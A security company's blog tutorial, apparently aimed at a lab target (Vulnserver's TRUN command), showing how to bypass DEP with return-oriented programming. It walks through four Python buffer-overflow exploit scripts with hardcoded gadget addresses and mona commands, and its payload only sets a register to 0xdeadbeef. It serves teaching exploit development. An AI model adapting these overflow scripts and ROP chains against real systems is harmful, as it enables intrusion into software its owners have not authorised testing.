Bypassing DEP with ROP

Running instructions by reference

Blog Bypassing DEP with ROP

| 5 min read

Contact us

In the last blog entry, we made an introduction to what DEP (Data Execution Protection) is and how it affected common buffer overflow exploits.

In this post, we’ll show a way to bypass DEP using Return-Oriented Programming (ROP).

ROP

When we’re writing an exploit to a buffer overflow vulnerability on an application without DEP, we overwrite the saved instruction pointer on the stack frame of the affected function with a pointer to something like JMP ESP (or any other register pointing to our shellcode). We then place a shellcode on the stack, which is finally executed when the JMP ESP is performed.

When we perform a JMP ESP (or any other general-purpose register), the program expects to find instructions in the address pointed to ESP. With DEP, we can’t execute instructions on the stack, but we still control the execution flow.

What would happen if, instead of overwriting the Saved EIP with a pointer to JMP ESP, we overwrite it with a pointer to a RETN instruction? The RETN instruction is commonly used in the function epilogues and will make one thing: Pop the value pointed by ESP and use it as the next instruction pointer or EIP. In other words, RETN expects to find in the address pointed to ESP, a pointer to an instruction, not an instruction itself.

As we control the execution flow and write on the stack, we can do whatever we want. Let’s find a RETN instruction:

!mona find -type instr -s "retn" -p 10 -o

This will tell mona to find up to 10 RETN instructions. The result is:

RETN instructions

Let’s take the first one at 62501022 and update the exploit of the previous post. This time we want to make EAX have the value 0xdeadbeef:

#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And see what happens:

RETN

Here’s what happened:

  1. We put a breakpoint at the address of the RETN instruction.

  2. We executed the exploit.

  3. The breakpoint was hit.

  4. When it hits, look at the value pointed by ESP: EE05C031.

  5. That value is part of the shellcode injected:

    1. xor eax,eax\x31\xc0

    2. add eax,0xdeadbeee\x05\xee\xbe\xad\xde (the first two bytes)

  6. When the RETN instruction is executed, that value EE05C031 is stored on EIP.

What it means is that we can replace the EE05C031 bytes with an arbitrary pointer that will become the next instruction to be executed!

In our exploit, we want to make EAX = 0xdeadbeef using three instructions: xor eax,eax, add eax,0xdeadbeee and inc eax. Let’s check if we can find a pointer in the execution environment that performs the first (xor eax,eax) operation:

RETN

We could find one at 62501162 that points to a xor eax,eax. Let’s update our exploit and place that address instead of the xor eax,eax instruction:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Run it:

ROP

Wonderful! Here’s what happened:

  1. The pointer to the RETN instruction was reached.

  2. When the RETN ran, it retrieved the value pointed by ESP and updated EIP with that.

  3. In our case, that value was a pointer to a xor eax,eax instruction.

  4. With that, the xor eax,eax was successfully executed! We bypassed DEP!

However, there’s a problem. If you look at the animation, the execution flow was diverted to where the xor eax,eax instruction was placed, but then we lost control.

We need to make EAX = 0xdeadbeee. There’re several ways to do that. We tried with xor eax,eax → add eax,0xdeadbeee but another way to do it is to place the value 0xdeadbeee on top of the stack and then perform a pop eax. We also need to regain control of the execution flow. This can be done by returning to the stack, so we can execute the last instruction on our shellcode inc eax and make EAX = 0xdeadbeef. That means that we need to find an address to a pop eax instruction followed by a retn.

Get started with Fluid Attacks' Red Teaming solution right now

POP EAX

We found it at 625011B4! Now, do you see why this is called ROP? It’s because we always need to return back to the stack to fetch the next pointer to our next desired instruction. For the record, any instruction or set of instructions followed by a retn is called a Gadget in ROP terms.

Our pop eax # retn gadget relies on the stack having the value 0xdeadbeee on the top. Let’s update our exploit:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Check it:

POP EAX

We were able to make EAX = 0xdeadbeee using ROP. Now, the final step is to find an inc eax pointer to make EAX = 0xdeadbeef.

INC EAX

We found one at 00402139. As this is the last instruction of our shellcode, the NULL byte won’t affect the exploit. Let’s update the code:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Check it:

ROP

We were able to make EAX = 0xdeadbeef without executing a single instruction on the stack! We’ve bypassed DEP!

Using mona to find gadgets

You may notice by now that finding useful gadgets could become something really tedious. Fortunately for us, mona has made this task easy. You just need to issue the following:

!mona rop

And wait for mona to do the hard work:

Mona ROP

With that, mona will find usable gadgets on the execution environment. A file called rop.txt is placed on the mona directory of the debuggee application containing all the gadgets found. mona also generates a proposal of something called ROP chains, which is nothing but a set of ROP gadgets chained together to perform something more complex. I won’t spoil the next post, but ROP chains will be used later in a more serious exploitation.

Conclusions

Here we could see a way to bypass the Data Execution Protection on a modern Windows system. However, the shellcode used was very basic and only demonstrated that DEP could be bypassed. We’ll use ROP to create something more complex in the next post.

Subscribe to our blog

Sign up for Fluid Attacks' weekly newsletter.

Recommended blog posts

You might be interested in the following related posts.

Photo by Robs on Unsplash

Consequential data breaches in the financial sector

Photo by Sean Pollock on Unsplash

Data breaches that left their mark on time

Photo by James Orr on Unsplash

Our pick of the hardest challenges for ethical hackers

Photo by Fotis Fotopoulos on Unsplash

Beware of insecure-by-default libraries!

Photo by Michael Dziedzic on Unsplash

An OffSec Exploitation Expert review

Photo by Dave Photoz on Unsplash

An interview with members of our hacking team

Photo by Yeshi Kangrang on Unsplash

What is invisible to some hackers is visible to others

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which hundreds of organizations are already enjoying.

Start your 21-day free trial
Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.